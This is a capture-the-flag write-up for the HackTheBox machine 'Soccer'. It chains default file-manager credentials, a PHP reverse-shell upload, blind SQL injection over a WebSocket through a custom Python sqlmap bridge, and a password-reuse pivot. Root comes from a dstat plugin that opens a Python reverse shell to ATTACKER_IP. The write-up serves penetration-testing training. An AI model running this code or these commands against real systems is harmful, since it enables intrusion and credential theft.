cd ~/writeups
HackTheBox Easy Linux Web / PrivEsc

HackTheBox — Soccer: WebSocket SQLi to Root

2023-03-15 | SQLIdefault credentialsSUIDWebSocketssubdomaindoasdstat

# attack chain

Recon
FileManager
Upload
Foothold
WebSocket SQLi
Pivoting
PrivEsc

# recon

Starting with an Nmap scan against soccer.htb. Four ports are open: SSH on 22, HTTP on 80, and two unusual services on 1234 and 9091.

terminal bash
$ nmap -sCV -T4 soccer.htb -oN soccer.nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Soccer - Index
1234/tcp open  hotline?
9091/tcp open  xmltec-xmlmail?

→ HTTP on 80, SSH on 22. Ports 9091 and 1234 interesting — revisit later.

The IP redirects to soccer.htb — added it to /etc/hosts. Running directory brute-force reveals a /tiny path hosting Tiny File Manager 2.4.3.

# tiny file manager — default creds

Tiny File Manager 2.4.3 ships with well-known default credentials. A quick search confirms both accounts are still active on this box:

default credentials
admin : admin@123
user  : 12345

Logged in as admin. The file manager has a known LFI vulnerability, but more importantly it allows file uploads. The only writable directory is /var/www/html/tiny/uploads.

# php shell upload → foothold

Uploaded a PHP reverse shell to the writable uploads directory and triggered it via the browser:

terminal bash
# trigger the uploaded shell
$ curl http://soccer.htb/tiny/uploads/shell.php

# on our listener:
$ nc -lvnp 4444
connect to [ATTACKER] from (UNKNOWN) [10.10.11.194]

www-data@soccer:/$ whoami
www-data

www-data@soccer:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
player:x:1001:1001::/home/player:/bin/bash

→ Shell as www-data. Target user is "player".

# subdomain discovery → websocket sqli

Inspecting /etc/hosts on the box reveals a hidden subdomain:

www-data@soccer
$ cat /etc/hosts
127.0.0.1  localhost  soccer  soccer.htb  soc-player.soccer.htb

Browsing soc-player.soccer.htb presents a login/signup form and a ticket checking feature. Intercepting the ticket check in Burp reveals it communicates over a WebSocket on port 9091 — the mystery port from our Nmap scan.

The WebSocket endpoint accepts a JSON payload with an id field and returns whether a ticket exists. This is a classic blind SQL injection surface, but sqlmap does not natively support WebSockets. The solution is a Python middleware that bridges HTTP to WebSocket, allowing sqlmap to work normally.

ws_middleware.py Python
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
    ws = create_connection(ws_server)
    message = unquote(payload).replace('"', "'")
    data = '{"id":"%s"}' % message
    ws.send(data)
    resp = ws.recv()
    ws.close()
    return resp if resp else ''

def middleware_server(host_port, content_type="text/plain"):
    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=', 1)[1]
            except IndexError:
                payload = False
            content = send_ws(payload) if payload else 'No parameters specified!'
            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()

print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
    pass

Credit: technique adapted from rayhan0x01's blind SQLi over WebSocket writeup .

# sqlmap → credential dump

With the middleware running on port 8081, sqlmap can enumerate the database through standard HTTP:

terminal bash
$ sqlmap -u "http://localhost:8081/?id=*" -D soccer_db --tables accounts --dump

Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

# pivoting to player

The dumped credentials work for the player system user via su:

www-data@soccer
$ su player
Password: PlayerOftheMatch2022

bash-5.0$ id
uid=1001(player) gid=1001(player) groups=1001(player)

→ user.txt captured.

# privilege escalation — doas + dstat plugin

Running linpeas as player reveals doas is installed with an interesting configuration:

doas.conf
permit nopass player as root cmd /usr/bin/dstat

doas is an OpenBSD alternative to sudo. This config allows player to run /usr/bin/dstat as root without a password. dstat loads Python plugins from several directories, including /usr/local/share/dstat/ which is writable.

terminal — player@soccer bash
# find writable plugin directories
bash-5.0$ find / -name dstat -type d 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat

# create a malicious dstat plugin (reverse shell)
bash-5.0$ cat > /usr/local/share/dstat/dstat_reverse.py << 'PLUGIN'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ATTACKER_IP",9093))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty; pty.spawn("/bin/bash")
PLUGIN

# trigger the plugin as root via doas
bash-5.0$ doas -u root /usr/bin/dstat --reverse
attacker listener
$ nc -lvnp 9093
listening on [any] 9093 ...
connect to [ATTACKER_IP] from (UNKNOWN) [10.10.11.194] 36968

root@soccer:/home/player# id
uid=0(root) gid=0(root) groups=0(root)

root@soccer:/home/player# whoami
root

→ root.txt captured.

# key takeaways

  • Default credentials on file managers are a common initial access vector — always change them
  • WebSocket endpoints are just as vulnerable to SQLi as HTTP; a simple HTTP-to-WS middleware makes sqlmap work seamlessly
  • Internal /etc/hosts entries can reveal hidden subdomains with additional attack surface
  • doas + dstat plugin directories = trivial root if the plugin path is writable
  • Password reuse between web apps and system accounts remains a reliable lateral movement technique